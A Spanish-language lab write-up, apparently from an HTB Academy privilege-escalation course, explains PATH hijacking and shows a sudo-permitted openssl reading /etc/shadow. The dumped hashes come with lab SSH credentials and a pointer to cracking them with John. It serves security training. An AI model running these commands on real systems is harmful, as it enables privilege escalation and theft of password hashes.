Page cover

🐧Abuso de PATH

PATH es una variable de entorno que especifica el conjunto de directorios donde se puede ubicar un ejecutable. La variable PATH de una cuenta es un conjunto de rutas absolutas, lo que permite a un usuario escribir un comando sin especificar la ruta absoluta al binario. Por ejemplo, un usuario puede escribir cat /tmp/test.txt en lugar de especificar la ruta absoluta /bin/cat /tmp/test.txt. Podemos comprobar el contenido de la variable PATH escribiendo env | grep PATH o echo $PATH.

htb_student@NIX02:~$ echo $PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

La creación de un script o programa en un directorio especificado en PATH hará que sea ejecutable desde cualquier directorio del sistema.

htb_student@NIX02:~$ pwd && conncheck 

/usr/local/sbin
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1189/sshd       
tcp        0     88 10.129.2.12:22          10.10.14.3:43218        ESTABLISHED 1614/sshd: mrb3n [p
tcp6       0      0 :::22                   :::*                    LISTEN      1189/sshd       
tcp6       0      0 :::80                   :::*                    LISTEN      1304/apache2    

Como se muestra a continuación, el script conncheck creado en /usr/local/sbin aún se ejecutará cuando esté en el directorio /tmp porque se creó en un directorio especificado en PATH.

htb_student@NIX02:~$ pwd && conncheck 

/tmp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1189/sshd       
tcp        0    268 10.129.2.12:22          10.10.14.3:43218        ESTABLISHED 1614/sshd: mrb3n [p
tcp6       0      0 :::22                   :::*                    LISTEN      1189/sshd       
tcp6       0      0 :::80                   :::*                    LISTEN      1304/apache2     

Al agregar . al PATH de un usuario, se agrega su directorio de trabajo actual a la lista. Por ejemplo, si podemos modificar la ruta de un usuario, podríamos reemplazar un binario común como ls por un script malicioso como un shell inverso. Si agregamos . a la ruta emitiendo el comando PATH=.:$PATH y luego export PATH, podremos ejecutar binarios ubicados en nuestro directorio de trabajo actual con solo escribir el nombre del archivo (es decir, con solo escribir ls se llamará al script malicioso nombrado ls en el directorio de trabajo actual en lugar del binario ubicado en /bin/ls).

htb_student@NIX02:~$ echo $PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
htb_student@NIX02:~$ PATH=.:${PATH}
htb_student@NIX02:~$ export PATH
htb_student@NIX02:~$ echo $PATH

.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

En este ejemplo, modificamos la ruta para ejecutar un comando echo simple cuando se escribe el comando ls.

htb_student@NIX02:~$ touch ls
htb_student@NIX02:~$ echo 'echo "PATH ABUSE!!"' > ls
htb_student@NIX02:~$ chmod +x ls
htb_student@NIX02:~$ ls

PATH ABUSE!!

Caso práctico

SSH a 10.129.2.210 (ACADEMY-LPE-NIX02)
User "htb-student"
Password "Academy_LLPE!"

Revise el PATH del usuario htb-student. ¿Qué directorio no predeterminado forma parte del PATH del usuario?

htb-student@NIX02:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/tmp

Revisando el PATH observamos que el directorio /tmp forma parte de PATH, con lo que la creación de un script o programa en este directorio /tmp hará que sea ejecutable desde cualquier directorio del sistema.

Comprobando los privilegios de ejecución encontramos que el usuario htb-student puede ejecutar openssl como root:

htb-student@NIX02:/tmp$ sudo -l
Matching Defaults entries for htb-student on NIX02:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    env_keep+=LD_PRELOAD

User htb-student may run the following commands on NIX02:
    (root) NOPASSWD: /usr/bin/openssl

1. Como el usuario tiene permiso para ejecutar /usr/bin/openssl como root, podemos aprovecharlo para ejecutar una shell de root.

2. Ejecutamos el siguiente comando para leer el archivo shadow:

sudo /usr/bin/openssl enc -in /etc/shadow
htb-student@NIX02:/$ sudo /usr/bin/openssl enc -in /etc/shadow
root:$6$WanLJSRD$y.zGt2OxMWkO9K/aNaLzh48ugtuVFjMJp9AT8Q3CxEJNjGaGTarLU5Vs1aZIOGv.jyehUWE5Ue.rz/kYnxDQ2.:19744:0:99999:7:::
daemon:*:17590:0:99999:7:::
bin:*:17590:0:99999:7:::
sys:*:17590:0:99999:7:::
sync:*:17590:0:99999:7:::
games:*:17590:0:99999:7:::
man:*:17590:0:99999:7:::
lp:*:17590:0:99999:7:::
mail:*:17590:0:99999:7:::
news:*:17590:0:99999:7:::
uucp:*:17590:0:99999:7:::
proxy:*:17590:0:99999:7:::
www-data:*:17590:0:99999:7:::
backup:*:17590:0:99999:7:::
list:*:17590:0:99999:7:::
irc:*:17590:0:99999:7:::
gnats:*:17590:0:99999:7:::
nobody:*:17590:0:99999:7:::
systemd-timesync:*:17590:0:99999:7:::
systemd-network:*:17590:0:99999:7:::
systemd-resolve:*:17590:0:99999:7:::
syslog:*:17590:0:99999:7:::
_apt:*:17590:0:99999:7:::
lxd:*:18504:0:99999:7:::
messagebus:*:18504:0:99999:7:::
uuidd:*:18504:0:99999:7:::
dnsmasq:*:18504:0:99999:7:::
sshd:*:18504:0:99999:7:::
mrb3n:$6$l.zGxurE$2GZ4wOHY8aRBr3RJ7T2yR68FJw7X2Fr4H/gjSc66Ccq3i2vSoNavHJKjsbqPCVsIRVWoRt/H6x450bWUUbejx0:18507:0:99999:7:::
colord:*:18504:0:99999:7:::
backupsvc:!:18504:0:99999:7:::
bob.jones:!:18504:0:99999:7:::
cliff.moore:!:18504:0:99999:7:::
logger:!:18504:0:99999:7:::
shared:!:18504:0:99999:7:::
stacey.jenkins:$6$pGJjlHOW$IBukckSzA228hJq/fEcOosOoa8n/7HlPgG7ztZsDaFOr1POEpyZZ9WnMeGb2thWlOLyjHRP.5BvWnFl6saM/D0:18504:0:99999:7:::
sysadm:!:18504:0:99999:7:::
htb-student:$6$6Zfc.iqc$GvNBXvzPRklYd3Zkfni8W8D9o8mod6dXtcGmWPlc/x5CPhV1R8NegwFxKi98xicj90J.BiTgut/dqI9sZNYOA.:18504:0:99999:7:::
mysql:!:18506:0:99999:7:::
devops:$6$Ev2lxTus$wHEMZPqgDcn2lXGa4x7gU.9g9jVbBjQydS9oGZP6Zik7LmIjsP0pdqDFaN76k9K4bArd8uP3R3w7s8g.Dr5Q5/:18506:0:99999:7:::
secaudit:$6$hCambemY$lasuPXSw2Hx0QdjhZQQC8ZeVNVXFAfTTKmMu0hmucaICjRUuWjqdrV3ig8WmsbKtEtgI6Y/Z1dMWplS.uq/pJ/:18506:0:99999:7:::
statd:*:18507:0:99999:7:::
daniel.carter:$6$GSVhlVa9$azlWJS.OAjy62UilpkSiCt/5EP/Y95tKd.CQAeMF/Qj5OKrZdrgPQJ7IvPBGv.kjBfQ2fpFxplwm6NPo2L3HA.:18509:0:99999:7:::
saned:*:19744:0:99999:7:::

Obtenemos las contraseñas de todos los usuarios del sistema, que podríamos crackear fácilmente con John:

🔑Cracking de Contraseñas

De igual manera también podríamos usar las técnicas de GTFOBins para openssl:

Última actualización

¿Te fue útil?